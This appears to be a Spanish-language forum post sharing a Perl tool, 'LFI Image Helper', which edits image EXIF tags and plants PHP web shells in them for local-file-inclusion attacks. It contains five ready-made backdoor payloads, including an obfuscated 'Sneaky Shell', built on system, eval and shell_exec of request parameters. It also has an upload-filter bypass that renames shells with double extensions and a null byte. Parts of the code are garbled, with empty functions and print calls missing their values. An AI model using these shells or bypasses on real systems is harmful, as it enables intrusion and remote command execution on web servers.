- Listar todos los Tags de la imagen con contenido
- Listar solo los Tags
- Leer el valor de cierto Tag
- Crear un Tag nuevo
- Editar un Tag
- Borrar un Tag
- Infectar una imagen con un backdoor conocido en PHP
El codigo :
Código
#!usr/bin/perl #LFI Image Helper 0.8 #(C) Doddy Hackman 2015 #ppm install http://trouchelle.com/ppm/Image-ExifTool.ppd # #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n #Thanks to Hood3dRob1n # #Dump Values #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html #Thanks to Ken Slater # use Image::ExifTool; use Getopt::Long; use Color::Output; Color::Output::Init; my @shells = ( {}, { "nombre" => "Simple Backdoor", "codigo" => '<?php system($_GET["cmd"]);exit(1); ?>', "ejemplo" => "?cmd=" }, { "nombre" => "System Shell", "codigo" => '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>', "ejemplo" => "?cmd=" }, { "nombre" => "Eval Shell", "codigo" => '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>', "ejemplo" => "?cmd=" }, { "nombre" => "Sneaky Shell", "codigo" => '<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>', "ejemplo" => "?0=" }, { "nombre" => "r0ng Shell", "codigo" => '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>', "ejemplo" => "?r0ng=" } ); GetOptions( "dump_all=s" => \$dump_all, "dump_tags=s" => \$dump_tags, "read_tag=s" => \$read_tag, "tag=s" => \$tag, "make_tag=s" => \$make_tag, "value=s" => \$value, "update_tag=s" => \$update_tag, "delete_tag=s" => \$delete_tag, "backdoor=s" => \$backdoor, "bypass=s" => \$bypass, "file=s" => \$file ); head(); if ($dump_all) { if ( -f $dump_all ) { printear_titulo("[+] Finding information in : "); dump_all($dump_all); } else { printear("[-] File not found\n"); } } elsif ($dump_tags) { if ( -f $dump_tags ) { printear_titulo("[+] Finding tags in : "); dump_tags($dump_tags); } else { printear("[-] File not found\n"); } } elsif ($read_tag) { if ( -f $read_tag ) { printear_titulo("[+] Finding tag value of $tag in : "); read_tag( $read_tag, $tag ); } else { printear("[-] File not found\n"); } } elsif ($make_tag) { if ( -f $make_tag ) { printear_titulo("[+] Photo : "); printear_titulo("[+] Name : "); printear_titulo("[+] Value : "); printear("[+] Making tag $tag ...\n\n"); make_tag( $make_tag, $tag, $value ); } else { printear("[-] File not found\n"); } } elsif ($update_tag) { if ( -f $update_tag ) { printear_titulo("[+] Photo : "); printear_titulo("[+] Name : "); printear_titulo("[+] Value : "); printear("[+] Updating tag $tag ...\n\n"); update_tag( $update_tag, $tag, $value ); } else { printear("[-] File not found\n"); } } elsif ($delete_tag) { if ( -f $delete_tag ) { printear_titulo("[+] Deleting tag $tag in : "); delete_tag( $delete_tag, $tag ); } else { printear("[-] File not found\n"); } } elsif ($backdoor) { if ( -f $backdoor ) { printear_titulo("[+] Photo : "); printear("[+] 1 : "); printear("[+] 2 : "); printear("[+] 3 : "); printear("[+] 4 : "); printear("[+] 5 : "); printear_titulo("\n[+] Option : "); backdoor_tag( $backdoor, $opcion, $file ); } else { printear("[-] File not found\n"); } } elsif ($bypass) { if ( -f $bypass ) { my $source = readfile($bypass); printear_titulo("[+] PHP Shell : "); printear("[+] 1 : "); printear("[+] 2 : "); printear("[+] 3 : "); printear_titulo("\n[+] Option : "); if ( $opcion eq "1" ) { savefile( $file . ".jpg.php", $source ); } elsif ( $opcion eq "2" ) { savefile( $file . ".php;test.jpg", $source ); } elsif ( $opcion eq "3" ) { savefile( $file . ".php%00.jpg", $source ); } else { savefile( $file . ".jpg.php", $source ); } printear("\n[+] PHP Shell Bypassed\n"); } else { printear("\n[-] File not found\n"); } } else { sintax(); } copyright(); # Functions sub backdoor_tag { my $image = $_[0]; my $opcion = $_[1]; my $final = $_[2]; my $tag = "Model"; my $nombre = $shells[$opcion]->{nombre}; my $valor = $shells[$opcion]->{codigo}; my $ejemplo = $shells[$opcion]->{ejemplo}; printear("\n[+] Backdoor Name : "); printear("[+] Backdoor Example : "); my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($image); $datos_imagen->SetNewValue( $tag, $valor ); $ok = $datos_imagen->WriteInfo( $image, $final ); if ( $ok eq "1" ) { printear_titulo("\n[+] Backdoor : "); } else { printear_titulo("\n[-] Backdoor: "); } } sub delete_tag { my $imagen_target = $_[0]; my $tag = $_[1]; my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target); $ok = $datos_imagen->WriteInfo($imagen_target); if ( $ok eq "1" ) { printear_titulo("[+] Tag $tag : "); } else { printear_titulo("[-] Tag $tag : "); } } sub update_tag { my $image = $_[0]; my $tag = $_[1]; my $valor = $_[2]; my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($image); $datos_imagen->SetNewValue( $tag, $valor ); $ok = $datos_imagen->WriteInfo($image); if ( $ok eq "1" ) { printear_titulo("[+] Tag $tag : "); } else { printear_titulo("[-] Tag $tag : "); } } sub make_tag { my $image = $_[0]; my $name = $_[1]; my $value = $_[2]; my $poc = Image::ExifTool->new(); $poc->ExtractInfo($image); $poc->SetNewValue( $name, $value ); $ok = $poc->WriteInfo($image); if ( $ok eq "1" ) { printear_titulo("[+] Tag $name : "); } else { printear_titulo("[-] Tag $name : "); } } sub read_tag { $imagen_target = $_[0]; $tag = $_[1]; my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target); $valor = $datos_imagen->GetValue($tag); if ( $valor eq "" ) { printear("[-] Tag not found\n"); } else { printear("[+] $tag : "); } } sub dump_tags { my $imagen_target = $_[0]; my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target); @tags = $datos_imagen->GetFoundTags("File"); for my $tag (@tags) { printear("[+] Tag : "); } } sub dump_all { my $imagen_target = $_[0]; my $datos_imagen = new Image::ExifTool; my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target); for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) { my $valor = $informacion_imagen->{$abriendo_imagen}; printear("[+] $abriendo_imagen : "); } } sub savefile { close SAVE; } sub readfile { } sub printear { cprint( "\x036" . $_[0] . "\x030" ); } sub printear_logo { cprint( "\x037" . $_[0] . "\x030" ); } sub printear_titulo { cprint( "\x0310" . $_[0] . "\x030" ); } sub sintax { printear("[+] Sintax : "); printear("\n[+] Options : \n\n"); "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n"; printear("\n[+] Example : "); copyright(); } sub head { printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n"); } sub copyright { printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n"); } sub toma { } #The End ?
Un video con ejemplos de uso :
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge.